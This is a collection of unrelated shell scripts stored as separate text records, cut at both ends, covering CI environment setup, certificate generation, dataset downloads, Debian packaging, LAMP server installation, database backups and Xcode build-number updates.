\"$CIRCLE_PROJECT_REPONAME\";\nsetPublicVar CI_REPO_OWNER \"$CIRCLE_PROJECT_USERNAME\";\n\n\n####################################################################################################\n# Define \"lazy\" PUBLIC environment variables for CircleCI.\n# (I.e. functions to set an environment variable when called.)\n####################################################################################################\ncreatePublicVarSetter CI_STABLE_BRANCH \"\\$(npm info @angular/core dist-tags.latest | sed -r 's/^\\\\s*([0-9]+\\\\.[0-9]+)\\\\.[0-9]+.*$/\\\\1.x/')\";\n\n\n####################################################################################################\n# Define SECRET environment variables for CircleCI.\n####################################################################################################\nsetSecretVar CI_SECRET_AIO_DEPLOY_FIREBASE_TOKEN \"$AIO_DEPLOY_TOKEN\";\nsetSecretVar CI_SECRET_PAYLOAD_FIREBASE_TOKEN \"$ANGULAR_PAYLOAD_TOKEN\";\n\n\n####################################################################################################\n# Define SauceLabs environment variables for CircleCI.\n####################################################################################################\n# In order to have a meaningful SauceLabs badge on the repo page,\n# the angular2-ci account is used only when pushing commits to master;\n# in all other cases, the regular angular-ci account is used.\nif [ \"${CI_PULL_REQUEST}\" = \"false\" ] && [ \"${CI_REPO_OWNER}\" = \"angular\" ] && [ \"${CI_BRANCH}\" = \"master\" ]; then\n setPublicVar SAUCE_USERNAME \"angular2-ci\";\n setSecretVar SAUCE_ACCESS_KEY \"\";\nelse\n setPublicVar SAUCE_USERNAME \"angular-ci\";\n setSecretVar SAUCE_ACCESS_KEY \"\";\nfi\n# TODO(josephperrott): Remove environment variables once all saucelabs tests are via bazel method.\nsetPublicVar SAUCE_LOG_FILE /tmp/angular/sauce-connect.log\nsetPublicVar SAUCE_READY_FILE /tmp/angular/sauce-connect-ready-file.lock\nsetPublicVar SAUCE_PID_FILE /tmp/angular/sauce-connect-pid-file.lock\nsetPublicVar SAUCE_TUNNEL_IDENTIFIER \"angular-${CIRCLE_BUILD_NUM}-${CIRCLE_NODE_INDEX}\"\n# Amount of seconds we wait for sauceconnect to establish a tunnel instance. In order to not\n# acquire CircleCI instances for too long if sauceconnect failed, we need a connect timeout.\nsetPublicVar SAUCE_READY_FILE_TIMEOUT 120\n\n####################################################################################################\n# Define environment variables for the Angular Material unit tests job.\n####################################################################################################\n# We specifically use a directory within \"/tmp\" here because we want the cloned repo to be\n# completely isolated from angular/angular in order to avoid any bad interactions between\n# their separate build setups.\nsetPublicVar MATERIAL_REPO_TMP_DIR \"/tmp/material2\"\nsetPublicVar MATERIAL_REPO_URL \"https://github.com/angular/material2.git\"\nsetPublicVar MATERIAL_REPO_BRANCH \"master\"\n# **NOTE**: When updating the commit SHA, also update the cache key in the CircleCI \"config.yml\".\nsetPublicVar MATERIAL_REPO_COMMIT \"bc1c454391370e75cf604f94bc2e9131e9aef94e\"\n\n# Source `$BASH_ENV` to make the variables available immediately.\nsource $BASH_ENV;"} {"text": "#!/bin/bash\nSCRIPTLOC=$(readlink -f \"$0\")\nFOLDERLOC=$(dirname \"$SCRIPTLOC\")\n# create symblink to config-files and ~/.zsh-config\n## remove existing one so that a symlink isn't created at ~/.zsh-config/.zsh-config\n\nif [ -e ~/.zsh-config ]; then\n echo \"Removing ~/.zsh-config symlink\"\n rm ~/.zsh-config # should be a symlink\nfi\n\necho \"Creating ~/.zsh-config symlink\"\nln -s \"$FOLDERLOC/config-files\" ~/.zsh-config\n\n# replace ~/.zshrc with a pointer here\necho \"Replacing ~/.zshrc with a pointer to ~/.zsh-config/zshrc.zshrc\"\necho \"source ~/.zsh-config/zshrc.zshrc\" > ~/.zshrc\n\n# replace ~/.zprofile with a pointer here\necho \"Replacing ~/.zprofile with a pointer to ~/.zsh-config/zprofile.zshrc\"\necho \"source ~/.zsh-config/zprofile.zshrc\" > ~/.zprofile\n\n# if no pacman remind to install powerline fonts for theme\nif type pacman &>/dev/null; then\n\t# otherwise see if pacman has them installed\n\tif ! pacman -Q powerline-fonts &> /dev/null; then\n\t\techo \"Need powerline fonts for theme!\"\n\t\tsudo pacman -S powerline-fonts\n\tfi\nelse\n\techo \"Remember to install powerline fonts for theme!\"\nfi"} {"text": "src/Admin/VMware.ScriptRuntimeService.Setup/shellscripts/gen-signing-cert.sh10-100\n#!/bin/bash\n\nCOMMON_NAME=$1\nCERT_NAME=$2\nOUTPUT_DIR=$3\n\nSIGNING_CERTS_OUTPUT_DIR=$OUTPUT_DIR\n\nOPENSSL_CLI=/usr/bin/openssl\n\necho \"INFO: Generate signing certificate\"\n\ncommonname=$COMMON_NAME\ncountry=US\nlocality=California\nstate=CA\norganization=VMware\norganizationalunit=VMware Engineering\n\nSIGN_CERT_NAME=$CERT_NAME\nKEY_FILE=${SIGN_CERT_NAME}_key.pem\nPEM_FILE=$SIGN_CERT_NAME.pem\nSIGN_CERT_FILE=$SIGN_CERT_NAME.p12\n\n$OPENSSL_CLI req -newkey rsa:2048 -nodes -keyout $SIGNING_CERTS_OUTPUT_DIR/$KEY_FILE -x509 -days 3650 -out $SIGNING_CERTS_OUTPUT_DIR/$PEM_FILE -subj \"/C=$country/ST=$state/L=$locality/O=$organization/OU=$organizationalunit/CN=$commonname\"\n$OPENSSL_CLI x509 -text -noout -in $SIGNING_CERTS_OUTPUT_DIR/$PEM_FILE\n$OPENSSL_CLI pkcs12 -inkey $SIGNING_CERTS_OUTPUT_DIR/$KEY_FILE -in $SIGNING_CERTS_OUTPUT_DIR/$PEM_FILE -export -out $SIGNING_CERTS_OUTPUT_DIR/$SIGN_CERT_FILE -passout pass:\n\nrm -f $SIGNING_CERTS_OUTPUT_DIR/$KEY_FILE\nrm -f $SIGNING_CERTS_OUTPUT_DIR/$PEM_FILE"} {"text": "FILE=$1\n\nif [[ $FILE != \"apple2orange\" && $FILE != \"summer2winter_yosemite\" && $FILE != \"horse2zebra\" && $FILE != \"monet2photo\" && $FILE != \"cezanne2photo\" && $FILE != \"vangogh2photo\" \\\n && $FILE != \"photo2art\" && $FILE != \"edges2shoes\" && $FILE != \"edges2handbags\" && $FILE != \"night2day\" && $FILE != \"facades\" && $FILE != \"birds\" ]]; then\n echo \"Available datasets are: apple2orange, summer2winter_yosemite, horse2zebra, monet2photo, cezanne2photo, vangogh2photo, \\\n photo2art, edge2shoes, edges2handbags, night2day, facades\"\n exit 1\nfi\n\nif [[ $FILE == \"photo2art\" ]]; then\n mkdir -p ./datasets/$FILE\n Files=(monet2photo cezanne2photo vangogh2photo)\n Domain=(B C D)\n for ((i = 0; i <= 2; i++))\n do\n URL=https://people.eecs.berkeley.edu/~taesung_park/CycleGAN/datasets/${Files[$i]}.zip\n ZIP_FILE=./datasets/${Files[$i]}.zip\n wget -N $URL -O $ZIP_FILE\n mkdir -p ./datasets/${Files[$i]}\n unzip $ZIP_FILE -d ./datasets/\n if [[ ${Files[$i]} == \"monet2photo\" ]]; then\n mv ./datasets/monet2photo/trainB ./datasets/photo2art/trainA\n mv ./datasets/monet2photo/testB ./datasets/photo2art/testA\n fi\n mv ./datasets/${Files[$i]}/trainA ./datasets/photo2art/train${Domain[$i]}\n mv ./datasets/${Files[$i]}/testA ./datasets/photo2art/test${Domain[$i]}\n rm -rf ./datasets/${Files[$i]}\n rm $ZIP_FILE\n done\n\nelif [[ $FILE == \"edges2shoes\" || $FILE == \"edges2handbags\" || $FILE == \"night2day\" || $FILE == \"facades\" ]]; then\n URL=http://efrosgans.eecs.berkeley.edu/pix2pix/datasets/$FILE.tar.gz\n TAR_FILE=./datasets/$FILE.tar.gz\n wget -N $URL -O $TAR_FILE\n mkdir -p ./datasets/$FILE\n tar -zxvf $TAR_FILE -C ./datasets/\n echo \"Start preprocessing dataset...\"\n python ./split.py ./datasets/$FILE\n echo \"Finished preprocessing dataset.\"\n if [ -d \"./datasets/$FILE/testB\" ];then\n rm -rf ./datasets/$FILE/train\n rm -rf ./datasets/$FILE/val\n rm $TAR_FILE\n fi\nelif [[ $FILE == \"birds\" ]]; then\n fileid=\"1O_LtUP9sch09QH3s_EBAgLEctBQ5JBSJ\"\n filename=\"birds.zip\"\n mkdir -p ./datasets\n cd ./datasets\n curl -c ./cookie -s -L \"https://drive.google.com/uc?export=download&id=${fileid}\" > /dev/null\n curl -Lb ./cookie \"https://drive.google.com/uc?export=download&confirm=`awk '/download/ {print $NF}' ./cookie`&id=${fileid}\" -o ${filename}\n wget -N http://www.vision.caltech.edu/visipedia-data/CUB-200-2011/CUB_200_2011.tgz -O CUB_200_2011.tgz\n\n echo Extracting Data...\n unzip birds.zip\n tar -xvf CUB_200_2011.tgz -C ./birds\n unzip ./birds/text.zip -d ./birds\n\n rm birds.zip\n rm cookie\n rm CUB_200_2011.tgz\n rm ./birds/text.zip\nelse\n URL=https://people.eecs.berkeley.edu/~taesung_park/CycleGAN/datasets/$FILE.zip\n ZIP_FILE=./datasets/$FILE.zip\n wget -N $URL -O $ZIP_FILE\n mkdir -p ./datasets/$FILE\n unzip $ZIP_FILE -d ./datasets/\n rm $ZIP_FILE\nfi"} {"text": "#!/bin/bash\nintf=$1\nif test \"X$intf\" = \"X\"; then intf=eth0; fi\n\n./example/fpm/fpm -i $intf -c 4 &\n\nsleep 3\niptables -A FORWARD -i $intf -j DROP\niptables -A INPUT -i $intf -j DROP\nip6tables -A FORWARD -i $intf -j DROP\nip6tables -A INPUT -i $intf -j DROP\nifconfig $intf -arp\nip addr flush dev $intf\nsleep 3\nsysctl -w net.ipv6.conf.fp0.autoconf=0\ndhclient -v fp0\n#sysctl -w net.ipv4.conf.fp0.forwarding=0\n#sysctl -w net.ipv4.conf.fp0.mc_forwarding=0\n#sysctl -w net.ipv4.conf.fp0.arp_filter=0\n#sysctl -w net.ipv4.conf.fp0.arp_accept=0\n#sysctl -w net.ipv4.conf.fp0.arp_announce=1"} {"text": "#!/bin/sh\n\necho \"Compiling mymake...\"\nif [ -e $1 ]\nthen\n rm $1\nfi\n\nmkdir -p bin\ng++ textinc/*.cpp -o bin/textinc\nbin/textinc bin/templates.h templates/*.txt\ng++ -std=c++11 -O3 -iquotesrc/ src/*.cpp src/setup/*.cpp -lpthread -o $1"} {"text": "blake-education/agent0\n#!/bin/bash\nset -e\n\nif [[ ${#} -lt 2 ]]\nthen\n echo \"Usage: ${0} [platform] [arch] [buildVersion=null]\" >&2\n exit 1\nfi\n\nfunction info {\n echo -e \"\\033[35m$1\\033[0m\"\n}\n\nGOOS=${1}\nGOARCH=${2}\nBUILD_VERSION=${3}\n\nDEB_NAME=\"buildbox-agent\"\nDEB_MAINTAINER=\"<>\"\nDEB_URL=\"https://buildbox.io/agent\"\nDEB_DESCRIPTION=\"The Buildbox Agent is an open-source toolkit written in Golang for securely running build jobs on any device or network\"\nDEB_LICENCE=\"MIT\"\n\nBUILD_PATH=\"pkg/deb\"\nBINARY_NAME=\"$NAME-$GOOS-$GOARCH\"\n\n# Ensure the deb path exists\nmkdir -p $BUILD_PATH\n\nif [ \"$BUILD_VERSION\" == \"\" ]; then\n info \"Building the buildbox-agent binary\"\n go build -v -o $BUILD_PATH/$BINARY_NAME *.go\nelse\n info \"Building the buildbox-agent binary with build version $BUILD_VERSION\"\n\n # Build the binary but define the build version at compile time\n go build -ldflags \"-X github.com/buildbox/agent/buildbox.buildVersion $BUILD_VERSION\" -o $BUILD_PATH/$BINARY_NAME -v *.go\nfi\n\n# Grab the version from the binary. The version spits out as: buildbox-agent\n# version 1.0-beta.6 We cut out the 'buildbox-agent version ' part of it.\nDEB_VERSION=$($BUILD_PATH/$BINARY_NAME --version | sed 's/buildbox-agent version //')\n\nif [ \"$GOARCH\" == \"amd64\" ]; then\n DEB_ARCH=\"x86_64\"\nelif [ \"$GOARCH\" == \"386\" ]; then\n DEB_ARCH=\"i386\"\nelse\n echo \"Unknown architecture: $GOARCH\"\n exit 1\nfi\n\nPACKAGE_NAME=$DEB_NAME\"_\"$DEB_VERSION\"_\"$DEB_ARCH\".deb\"\nPACKAGE_PATH=\"pkg/deb/$PACKAGE_NAME\"\n\necho $PACKAGE_PATH\n\n# Remove a package if it already exists\nif [ -e \"$PACKAGE_PATH\" ]; then\n rm -rf \"$PACKAGE_PATH\"\nfi\n\ninfo \"Building debian package $PACKAGE_NAME\"\n\nbundle exec fpm -s \"dir\" \\\n -t \"deb\" \\\n -n \"$DEB_NAME\" \\\n --url \"$DEB_URL\" \\\n --maintainer \"$DEB_MAINTAINER\" \\\n --architecture \"$DEB_ARCH\" \\\n --license \"$DEB_LICENCE\" \\\n --description \"$DEB_DESCRIPTION\" \\\n --depends \"git-core\" \\\n --config-files \"/etc/buildbox-agent/buildbox-agent.env\" \\\n --config-files \"/etc/buildbox-agent/bootstrap.sh\" \\\n --before-remove \"templates/deb/before-remove.sh\" \\\n --after-upgrade \"templates/deb/after-upgrade.sh\" \\\n --deb-upstart \"templates/deb/buildbox-agent.upstart\" \\\n -p \"$PACKAGE_PATH\" \\\n -v \"$DEB_VERSION\" \\\n \"./$BUILD_PATH/$BINARY_NAME=/usr/bin/buildbox-agent\" \\\n \"templates/deb/buildbox-agent.env=/etc/buildbox-agent/buildbox-agent.env\" \\\n \"templates/bootstrap.sh=/etc/buildbox-agent/bootstrap.sh\"\n\necho \"\"\necho -e \"Successfully created \\033[33m$PACKAGE_PATH\\033[0m 👏\"\necho \"\"\necho \" # To install this package\"\necho \" $ sudo dpkg -i $PACKAGE_PATH\"\necho \"\"\necho \" # To uninstall\"\necho \" $ sudo dpkg --purge $NAME\"\necho \"\""} {"text": "emilf/teslaos_for_edisonrun_bochs.sh\n#!/bin/bash\n\n# run_bochs.sh\n# mounts the correct loopback device, runs bochs, then unmounts.\n\nsudo /sbin/losetup /dev/loop0 floppy.img\nsudo bochs -f bochsrc.txt\nsudo /sbin/losetup -d /dev/loop0"} {"text": "#/bin/bash\n\ncwdbootplots=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null && pwd )\"\n\nstandard_exp_subdir=kernelization\n\nexperiments=$cwdbootplots/experiments\nexperiments_B=$cwdbootplots/previous/base-kagen-stats-results\n\nkagendata_standard=$experiments/$standard_exp_subdir\nkagendata_linear_fpt=$experiments/linear-kernel\ntimeana_realworld=$experiments/solvers/real-world\n\n#if [ -z ${outdir+x} ] ; then\n outdir=$outdir_ifnot_given\n mkdir -p $outdir\n#fi\n\nif [ ! -d \"$outdir\" ]; then\n echo \"Provided output path does not exist in outdir.\"\n exit 1\nfi\n\nrm $outdir/* -r"} {"text": "#!/usr/bin/env bash\n\nenv\n\ncd /build || exit\n\necho Build /src in \"$(pwd)...\"\ncmake -DCMAKE_BUILD_TYPE=\"$CMAKE_BUILD_TYPE\" /src\n\nif [ \"$SONAR\" = \"true\" ]; then\n /build-wrapper-linux-x86/build-wrapper-linux-x86-64 --out-dir bw-output make clean all test\nelse\n make clean all test\nfi"} {"text": "sudo mkdir ./ssl\n# Generate RSA Private Key \nsudo openssl genrsa -out ./ssl/fleet.key 4096\n# CSR(Certificate Signing Request) 생성 시, Common Name 설정 유의 필요\nsudo openssl req -new -key ./ssl/fleet.key -out ./ssl/fleet.csr\nsudo openssl x509 -req -days 366 -in ./ssl/fleet.csr -signkey ./ssl/fleet.key -out ./ssl/fleet.crt"} {"text": "#!/bin/bash -xe\n\ndocker run --rm --name proxy-stub-redis -d -p 6379:6379 redis:4.0.10"} {"text": "#!/bin/bash\n\nset -e\n\nVERSION=0.4-1\n\n# Dependencies: curl\n\n# Copyright (C) 2020 \n\n# MIT License\n\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nVAR0=$(basename \"$0\")\nVAR1=$(ip address | grep 'dynamic noprefixroute wlp1s0' | awk '{print $2}')\nVAR1bis=${VAR1%/*}\nVAR2=$(ip route | grep default | awk '{print $3}')\nVAR3=$(ip address | grep 'dynamic noprefixroute wlp1s0' | awk '{print $4}')\nVAR4=$(curl -s https://am.i.mullvad.net/connected | awk '{print $7}')\nVAR4bis=${VAR4%)*}\n\necho \"$VAR0 version $VERSION - Copyright (C) 2020 by \"\necho \"License: MIT License\"\necho\nif [ -n \"$VAR1bis\" ]; then\n echo \" IP address: $VAR1bis\"\n echo \" Gateway: $VAR2\"\n echo \" Bcst address: $VAR3\"\n echo\n if [ -n \"$VAR4bis\" ]; then\n echo \"Mullvad server: $VAR4bis\"\n echo\n else\n echo \"*** You are not connected to Mullvad VPN (https://mullvad.net)!\"\n echo\n fi\nelse\n echo \"*** You don't have any network connection!\"\n echo\nfi\necho \"Done!\""} {"text": "1-10\n#!/bin/bash\n#\n# Criado/adaptado por - http://ribafs.org\n#\napt-get install dialog;\n#\nwhile :\n do\n clear\nservico=$(dialog --stdout --backtitle 'Instalação de pacotes no Ubuntu Server 14.04 LTS - 64' \\\n --menu 'Selecione a opção com a seta ou o número e tecle Enter\\n' 0 0 0 \\\n 1 'Atualizar repositórios' \\\n 2 'Instalar Servidor Web e cia' \\\n 3 'Efetuar o Upgrade da distribuição' \\\n 0 'Sair' )\n case $servico in\n 1) apt-get update;;\n 2) clear;\necho \"Instalar pacotes básicos. Tecle Enter para instalar!\";\napt-get install aptitude unzip ntp ntpdate git kolourpaint4 gnome-search-tool;\n\nclear;\necho \"Instalar Apache e módulos. Tecle Enter para instalar!\";\napt-get install apache2 libapache2-mod-php5;\na2enmod rewrite;\n\nclear;\n# Instalar SGBDs somente para testes locais. Visto que o servidor é outro: 10.0.0.60\napt-get install postgresql postgresql-contrib;\napt-get install mysql-server;\napt-get install sqlite3;\n\nmkdir /usr/share/adminer\nwget \"http://www.adminer.org/latest.php\" -O /usr/share/adminer/latest.php\nln -s /usr/share/adminer/latest.php /usr/share/adminer/adminer.php\necho \"Alias /adminer.php /usr/share/adminer/adminer.php\" | sudo tee /etc/apache2/conf-available/adminer.conf\na2enconf adminer.conf\n\nclear;\necho \"Instalar PHP 5 e extensões. Tecle Enter para instalar!\";\napt-get install php5 mcrypt php5-mcrypt php5-gd php5-mysql php5-sqlite php5-pgsql php5-ldap;\napt-get install php5-mcrypt php-pear php5-xsl curl php5-curl phpunit php5-xdebug php5-intl;\napt-get install php-gettext php5-fpm php-auth;\n\nclear;\necho \"Instalar suporte a cache no PHP. Tecle Enter para instalar!\";\n# Cache de php\napt-get install php5-apcu;\napt-get install memcached php5-memcache;\n\nclear;\necho \"Configurar php (display_errors = On)\nAperte ENTER para abrir o php.ini\";\n\nnano /etc/php5/apache2/php.ini;\nservice apache2 restart;\n\necho \"Configurar .htaccess no Apache 2.4 trocando None por All\nNo apache2.conf:\n\nServerName localhost\n\n\n Options Indexes FollowSymLinks Includes ExecCGI\n AllowOverride All\n Order deny,allow\n Allow from all\n\n\nAtalho para Desligar e reiniciar com CTRL+ALT+DEL\ngnome-session-quit --power-off\n\nAperte ENTER para configurar.\n\";\nread n;\n\nnano /etc/apache2/apache2.conf;\n\nservice apache2 restart;\n\naddgroup webdevel;\nadduser www-data webdevel;\nadduser ribafs webdevel;\n\necho \"Setar permissões para /var/www/html/\\$1\n\nclear;\necho \\\"Aguarde enquanto configuro as permissões do /var/www/html/\\$1\\\";\necho \\\"\\\";\nchown -R www-data:webdevel /var/www/html/\\$1;\nchmod -R g+s /var/www/html/\\$1;\n#chmod -R u+s /var/www/html/\\$1;\n#chgrp -R webdevel /var/www/html/$1\nfind /var/www/html/\\$1 -type d -exec chmod 2775 {} \\;\nfind /var/www/html/\\$1 -type f -exec chmod 2664 {} \\;\necho \\\"\\\";\necho \\\"Concluído!\\\";\n\nSelecionar o código acima\nTecle Enter e cole com Shift+Insert.\n\";\nread n;\n\nnano /usr/local/bin/perms;\nchmod +x /usr/local/bin/perms;;\n\n\t 3) clear;\necho \"Efetuar update e upgrade do Sistema. Algumas vezes é necessário reboot.\nGeralmente após a instalação.\nTecle Enter.\";\n\napt-get update;\napt-get upgrade;;\n 0) clear;exit;;\n esac\ndone"} {"text": "javac glasses/*.java\njavac glasses/*/*.java\njavac glasses/*/*/*.java\njavac glasses/*/*/*/*.java\njavac glasses/*/*/*/*/*.java"} {"text": "1-10\n#!/bin/sh\n\n#Compute gcd of two numbers\n\nif [ $1 -le $2 ]; then\n a=$2\n b=$1\nelse\n a=$1\n b=$2\nfi\nif [ ${b} -ne 0 ]; then\n while [ ${b} -ne 0 ]; do\n t=${b}\n b=$(expr ${a} % ${b})\n a=${t}\n done\nfi\necho \"gcd of $1 and $2 is ${a}\""} {"text": "imaginebog/kmc_proc\n#!/bin/bash\r\n\r\ncd /media/DATAPART5/kmc400/dartel_template\r\n#make sure directory is clean\r\nrm *\r\n#get random list of images\r\nfind ../nii -name MPRAGEmodifiedSENSE.nii.gz | shuf | head -n20 > ingredients.txt\r\n#copy images here\r\nindex=0\r\nwhile read l; do\r\ncp ${l} ./mprage_${index}.nii.gz\r\nindex=$(( $index + 1 ))\r\ndone < ingredients.txt\r\n#uncompress them\r\ngunzip *.nii.gz\r\n\r\n#now run the spm batch fie\r\n#dartel_script_job"} {"text": "#!/bin/bash\nbpath=/buildteam/backups/sonarqube\nfname=\"sonar-postgres-\"`date +%m-%d-%Y`\".sql\"\necho \"backing up $fname to $bpath\"\ncd $bpath\n#remove backups older than 30 days\nfind $bpath -type f -name \"sonar-postgres*\" -mtime +30 -exec rm -f {} \\;\n\npg_dump sonar > $fname"} {"text": "source/onitama/benchmark.sh0\nmkdir benchmark/\ncp * benchmark 2> null\n\n# g++ doesn't support Unicode variable identifiers\n# so we have to substitute them.\nfor filename in benchmark/*; do\n sed -i -e 's/🔵/BLUE/g' $filename\n sed -i -e 's/🔴/RED/g' $filename\ndone\n\n# Compile with debug and gprof flags.\ncd benchmark\ng++ -g -pg benchmark.cc Board.cc Card.cc Move.cc State.cc Random.cc Agent.cc\n\n# Execute the program and generate profiling report.\n./a && gprof a.exe 2> null | gprof2dot | dot -T pdf > ../report.pdf\ncd ..\n\n# Clean up.\nrm -r benchmark/\nrm null"} {"text": "# round 1 data\ncurl -i -XPOST 'http://localhost:8086/write?db=ican' --data-binary 'nodelatency,localnode=\"k8s-node3\",remotenode=\"k8s-node3\" value=0.09'\ncurl -i -XPOST 'http://localhost:8086/write?db=ican' --data-binary 'nodelatency,localnode=\"k8s-node2\",remotenode=\"k8s-node3\" value=0.88'\ncurl -i -XPOST 'http://localhost:8086/write?db=ican' --data-binary 'nodelatency,localnode=\"k8s-node2\",remotenode=\"k8s-node2\" value=0.08'\ncurl -i -XPOST 'http://localhost:8086/write?db=ican' --data-binary 'nodelatency,localnode=\"k8s-node1\",remotenode=\"k8s-node1\" value=0.12'\ncurl -i -XPOST 'http://localhost:8086/write?db=ican' --data-binary 'nodelatency,localnode=\"k8s-node1\",remotenode=\"k8s-node2\" value=0.81'\ncurl -i -XPOST 'http://localhost:8086/write?db=ican' --data-binary 'nodelatency,localnode=\"k8s-node1\",remotenode=\"k8s-node3\" value=0.97'\n\n\n# round 2 data\n\ncurl -i -XPOST 'http://localhost:8086/write?db=ican' --data-binary 'nodelatency,localnode=\"k8s-node3\",remotenode=\"k8s-node3\" value=0.12'\ncurl -i -XPOST 'http://localhost:8086/write?db=ican' --data-binary 'nodelatency,localnode=\"k8s-node2\",remotenode=\"k8s-node3\" value=0.94'\ncurl -i -XPOST 'http://localhost:8086/write?db=ican' --data-binary 'nodelatency,localnode=\"k8s-node2\",remotenode=\"k8s-node2\" value=0.08'\ncurl -i -XPOST 'http://localhost:8086/write?db=ican' --data-binary 'nodelatency,localnode=\"k8s-node1\",remotenode=\"k8s-node1\" value=0.10'\ncurl -i -XPOST 'http://localhost:8086/write?db=ican' --data-binary 'nodelatency,localnode=\"k8s-node1\",remotenode=\"k8s-node2\" value=90.75'\ncurl -i -XPOST 'http://localhost:8086/write?db=ican' --data-binary 'nodelatency,localnode=\"k8s-node1\",remotenode=\"k8s-node3\" value=0.76'"} {"text": "#!/bin/sh\r\nIN=$1\r\n\r\n\r\ncat $IN | grep -i data_radix | grep hex >>trash.tmp 2>>trash.tmp\r\nif [ $? -eq 0 ]; then\r\n radix=16\r\nelse\r\n cat $IN | grep -i data_radix | grep oct >>trash.tmp 2>>trash.tmp\r\n if [ $? -eq 0 ]; then\r\n radix=8\r\n else\r\n cat $IN | grep -i data_radix | grep bin >>trash.tmp 2>>trash.tmp\r\n if [ $? -eq 0 ]; then\r\n radix=2\r\n fi \r\n fi\r\nfi\r\n\r\ncat $IN | grep -v ^% | grep \":\" | cut -f2 -d':' | cut -f1 -d\";\" | tr -d ' ' > mif2coe.tmp\r\nNROWS=`cat mif2coe.tmp | wc -l`\r\n\r\necho \"memory_initialization_radix=$radix;\"\r\necho \"memory_initialization_vector=\"\r\ncat mif2coe.tmp | awk -v ROWS=$NROWS '{if (NR==ROWS) { print $0\";\" } else { print $0\",\" }}'\r\n\r\nrm mif2coe.tmp"} {"text": "git submodule foreach git fetch\ngit submodule foreach git checkout 2020\ngit submodule foreach git rebase origin/2020\ngit submodule foreach git push origin 2020"} {"text": "#!/bin/bash\n\n./cmd-tshark.sh > train/trainData.txt\nchown emdeha:emdeha -R train"} {"text": "10-100\n#!/bin/bash\n# Link: \n#\n# A command-line script for incrementing build numbers for all known targets in an Xcode project.\n#\n# This script has two main goals: firstly, to ensure that all the targets in a project have the\n# same CFBundleVersion and CFBundleShortVersionString values. This is because mismatched values\n# can cause a warning when submitting to the App Store. Secondly, to ensure that the build number\n# is incremented appropriately when git has changes.\n#\n# If not using git, you are a braver soul than I.\n\n##\n# The xcodeproj. This is usually found by the script, but you may need to specify its location\n# if it's not in the same folder as the script is called from (the project root if called as a\n# build phase run script).\n#\n# This value can also be provided (or overridden) using \"--xcodeproj=\"\n#\n#xcodeproj=\"Project.xcodeproj\"\n\n##\n# We have to define an Info.plist as the source of truth. This is typically the one for the main\n# target. If not set, the script will try to guess the correct file from the list it gathers from\n# the xcodeproj file, but this can be overriden by setting the path here.\n#\n# This value can also be provided (or overridden) using \"--plist=\"\n#\n#plist=\"Project/Info.plist\"\n\n##\n# By default, the script ensures that the build number is incremented when changes are declared\n# based on git's records. Alternatively the number of commits on the current branch can be used\n# by toggling the \"reflect_commits\" variable to true. If not on \"master\", the current branch name\n# will be used to ensure no version collisions across branches, i.e. \"497-develop\".\n#\n# This setting can also be enabled using \"--reflect-commits\"\n#\n#reflect_commits=true\n\n##\n# If you would like to iterate the build number only when a specific branch is checked out\n# (i.e. \"master\"), you can specify the branch name. The current version will still be replicated\n# across all Info.plist files (to ensure consistency) if they don't match the source of truth.\n#\n# This setting can be enabled for multiple branches can be enabled by using comma separated names\n# (i.e. \"master,develop\"). No spacing is permitted.\n#\n# This setting can also be enabled using \"--branch\"\n#\n#enable_for_branch=\"master\"\n\n##\n# Released under the BSD License\n#\n# Copyright © 2017 \n#\n# Redistribution and use in source and binary forms, with or without modification,\n# are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice, this list\n# of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright notice, this\n# list of conditions and the following disclaimer in the documentation and/or\n# other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n# We use PlistBuddy to handle the Info.plist values. Here we define where it lives.\nplistBuddy=\"/usr/libexec/PlistBuddy\"\n\n# Parse input variables and update settings.\nfor i in \"$@\"; do\n case $i in\n -h|--help)\n\t echo \"usage: sh version-update.sh [options...]\\n\"\n\t echo \"Options: (when provided via the CLI, these will override options set within the script itself)\"\n\t echo \"-b, --branch= Only allow the script to run on the branch with the given name(s).\"\n\t echo \" --build= Apply the given value to the build number (CFBundleVersion) for the project.\"\n\t echo \"-i, --ignore-changes Ignore git status when iterating build number (doesn't apply to manual values or --reflect-commits).\"\n\t echo \"-p, --plist= Use the specified plist file as the source of truth for version details.\"\n\t echo \" --reflect-commits Reflect the number of commits in the current branch when preparing build numbers.\"\n\t echo \" --version= Apply the given value to the marketing version 